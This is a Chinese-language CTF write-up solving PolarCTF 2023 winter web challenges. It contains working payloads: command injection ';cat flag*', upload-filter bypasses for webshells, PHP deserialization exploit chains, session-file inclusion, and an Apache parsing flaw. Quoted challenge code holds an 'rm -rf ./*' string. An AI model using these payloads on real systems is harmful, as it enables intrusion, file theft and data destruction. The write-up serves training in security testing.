PolarCTF网络安全2023冬季个人挑战赛 WEB方向题解 WriteUp

完工,最后CB链没时间打了,估计也不怎么打得出来,今天一边在打polar一边弄服务外包赛,好累呜呜呜。

Polar 冬 干正则(WEB)

直接给了源码

parse_str():将字符串解析成多个变量

payload:

复制代码
?id=a[]=www.polarctf.com&cmd=;cat%20flag*

Polar 冬 upload(WEB)

开题

源码里面发现hint

得到源码如下:

php 复制代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

str_ireplace():替换字符串中的一些字符(不区分大小写)。双写即可绕过。

直接getshell就行。

Polar 冬 cookie欺骗(WEB)

伪造一下Cookie就行

Polar 冬 随机值(WEB)

直接给了源码

要满足两个随机值,可以暴力爆破,发包10000次应该够了。我们按题目预期来,使用变量引用来做这题。

PHP7,类型不敏感,类中属性可以全换为public。

秒了。

EXP:

php 复制代码
<?php
class Index{
    public $Polar1;
    public $Polar2;
    public $Night;
    public $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}

$a=new Index();
$a->Polar1=&$a->Polar2;
$a->Night=&$a->Light;

echo serialize($a);

Polar 冬 你想逃也逃不掉(WEB)

直接给了源码

反序列化之字符串逃逸。

EXP:

php 复制代码
<?php
function filter($string){
    return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphtml';
$user['passwd'] = ';s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
#a:3:{s:8:"username";s:5:"Jay17";s:6:"passwd";s:0:"";s:4:"sign";s:6:"123456";}


echo serialize($user);//初始
echo "\n";
echo filter(serialize($user));//过滤字符后


$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
    echo "\nJay17";
}

payload:

复制代码
GET:?passwd=%3Bs%3A6%3A%22passwd%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22sign%22%3Bs%3A6%3A%22ytyyds%22%3B%7D

POST:name=phtmlphtmlphtmlphtml

Polar 冬 ezphp(WEB)

开题,爬虫相关,想到robots.txt文件

访问robots.txt,获得三个路由

/uploads/upload.php:文件上传功能

/file/file.php:文件包含功能

文件包含读取upload.php文件内容:

php 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Upload</title>
</head>
<body>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // 检查文件是否上传成功
    if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
        // 定义允许上传的文件类型
        $allowed_extensions = array("jpg", "jpeg", "png", "gif");

        // 获取上传文件的文件名和扩展名
        $filename = $_FILES['file']['name'];
        $file_extension = pathinfo($filename, PATHINFO_EXTENSION);

        // 检查文件扩展名是否在允许的列表中
        if (in_array(strtolower($file_extension), $allowed_extensions)) {
            // 确定存储上传文件的目录
            $upload_directory = './images/';

            // 确保目录存在,如果不存在则创建
            if (!is_dir($upload_directory)) {
                mkdir($upload_directory, 0777, true);
            }

            // 构造上传文件的完整路径
            $upload_path = $upload_directory . $filename;

            // 移动文件到指定目录
            if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_path)) {
                echo '<p>文件上传成功!</p>';
            } else {
                echo '<p>文件上传失败。</p>';
            }
        } else {
            echo '<p>不允许上传该类型的文件。</p>';
        }
    } else {
        echo '<p>文件上传失败。</p>';
    }
}
?>

<form action="" method="post" enctype="multipart/form-data">
    <label for="file">选择文件:</label>
    <input type="file" name="file" id="file" accept=".jpg, .jpeg, .png, .gif" required>
    <br>
    <input type="submit" value="上传文件">
</form>

</body>
</html>

文件后缀是白名单,难绕过,一般白名单的文件上传都是要结合其他漏洞。有文件包含,那就结合文件包含。

有文件包含,所以后缀不用管,包含文件内容,就算jpg都能把马包含进来。

直接包含

看源码,目录是,/uploads/images/xxx.xxx

/file/file.php 文件包含getshell。

Polar 冬 你的马呢?(WEB)

开题:(注意URL,可能会存在文件包含)

还真存在文件包含

upload.php

php 复制代码
<?php
	if(isset($_FILES['upfile'])){
		$uploaddir = 'uploads/';
		$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
		$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);

		//检查文件内容
		$text = file_get_contents($_FILES['upfile']['tmp_name']);


		echo $ext;

		//检查文件后缀
		if (!preg_match("/ph.|htaccess/i", $ext)){

			if(preg_match("/<\?php/i", $text)){
				echo "嘿嘿嘿,想传马?不可能!<br>";
			}
			else{
				move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);
				echo "恭喜你,上传路径<br>路径为:" . $uploadfile . "<br>";
			}
		} 
		else {
			echo "恶意后缀,试试.jsp呢?<br>";
			
		}
	}
?>

<!DOCTYPE html>
<html>
<head>
	<title>上传文件</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
	千万别上传php脚本!!!!
	<form action="upload.php" method="POST" enctype="multipart/form-data">
		<input type="file" name="upfile" value="" />
		<input type="submit" name="submit" value="提交" />
	</form>
</body>
</html>

文件上传功能过滤php、htaccess后缀,过滤文件内容<?php。看似山穷水尽,仔细一看发现存在apache解析漏洞。

AddHandler导致的Apache解析漏洞

如果服务器给.php后缀添加了处理器:
AddHandler application/x-httpd-php.php

那么,在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析,不需要是最后一个后缀。如shell.php.jpg中包含.php,所以解析为php文件

利用:

1、1.php.jpg

2、1.php.txt

影响范围:2.4.0-2.4.29版本

getsgell

Polar 冬 苦海(WEB)【】

反序列化+文件包含,难的是找flag。

链子如下:

复制代码
User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

给个EXP:

php 复制代码
删库跑路,蹲监狱~ <?php
/*
PolarD&N CTF
*/
error_reporting(1);

class User
{
    public $name = 'PolarNight';
    public $flag = 'syst3m("rm -rf ./*");';

    public function __construct()
    {
        echo "删库跑路,蹲监狱~";
    }

    public function printName()
    {
        echo $this->name;
        return 'ok';
    }

    public function __wakeup()
    {
        echo "hi, Welcome to Polar D&N ~ ";
        $this->printName();
    }

    public function __get($cc)
    {
        echo "give you flag : " . $this->flag;
    }
}

class Surrender
{
    private $phone = 110;
    public $promise = '遵纪守法,好公民~';

    public function __construct()
    {
        $this->promise = '苦海无涯,回头是岸!';
        return $this->promise;
    }

    public function __toString()
    {
        return $this->file['filename']->content['title'];
    }
}

class FileRobot
{
    public $filename = 'flag.php';
    public $path;

    public function __get($name)
    {
        $function = $this->path;
        return $function();
    }

    public function Get_file($file)
    {
        $hint = base64_encode(file_get_contents($file));
        echo $hint;
    }

    public function __invoke()
    {
        $content = $this->Get_file($this->filename);
        echo $content;
    }
}

//User::__wakeup()->User::printName()->Surrender::__toString()->FileRobot::__get()->FileRobot::__invoke()->FileRobot::Get_file()

$a=new User();
$a->name=new Surrender();
$a->name->file['filename']=new FileRobot();
$a->name->content['title']='bucunzai';
$a->name->file['filename']->path=new FileRobot();
$a->name->file['filename']->path->filename='../flag.php';

echo urlencode(serialize($a));

//unserialize(serialize($a));

payload:

复制代码
?user=O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A4%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7Ds%3A7%3A%22content%22%3Ba%3A1%3A%7Bs%3A5%3A%22title%22%3Bs%3A8%3A%22bucunzai%22%3B%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D

Polar 冬 safe_include(WEB)

直接给了源码:

open_basedir:限制PHP访问文件的目录(读写),不限制命令执行的目录。

这里开启了session,我们可以使用session文件包含,而且session文件不会被清理。我们可以利用他来getshell。


在PHP中,使用$_SESSION\[\]可以存储特定用户的Session信息。并且每个用户的Session信息都是不同的。

当用户请求网站中任意一个页面时,若用户未建立Session对象,则服务器会自动为用户创建一个Session对象,它包含唯一的sessionID和其他Session变量,并保存在服务器内存中,不同用户的Session对象存着各自指定的信息。

利用Session变量存储信息:

$_SESSION"sessionID"=变量或字符串信息;

读取Session变量信息(可赋值给一个变量或者直接输出):

变量=$_SESSION"sessionID";

sessionID可以自己创造一个,比如jayjay。那么session文件名就是/tmp/sess_jayjay,里面存储了sessionID为jayjay的session变量信息。sessionID一般就是Cookie中PHPSESSID的值。当用户在Cookie中设置PHPSESSID=jayjay时,PHP就会生成一个文件/tmp/sess_jayjay,此时也就初始化了session。同时,这时候传参,参数值就自动被写入/tmp/sess_jayjay了。


这里我们可以读取Session变量信息,也可以存储Session变量信息,那我们就可以往里面放🐎,然后包含🐎,getshell。

存马到sess_Jay17文件。

包含sess_Jay17文件也就是包含马,getshell。

Polar 冬 phpurl(WEB)

附件:

复制代码
在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。 

aW5kZXgucGhwcwbase64解码后是index.phps

开题

访问/index.phps路由。直接给了源码

很简单,xxs二次URL编码就行。

注意点:/index.phps只是源码泄露,传参在/路由。

Polar 冬 cool(WEB)

开题,直接给了源码

payload:

复制代码
?a=echo `cat f*`;
相关推荐
两个人的幸福6 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo8 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack8 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982079 天前
PHP 扩展——从入门到理解
php
鹏仔先生10 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下10 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest10 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip10 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售10 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手10 天前
l33t-hoster
学习·web安全·网络安全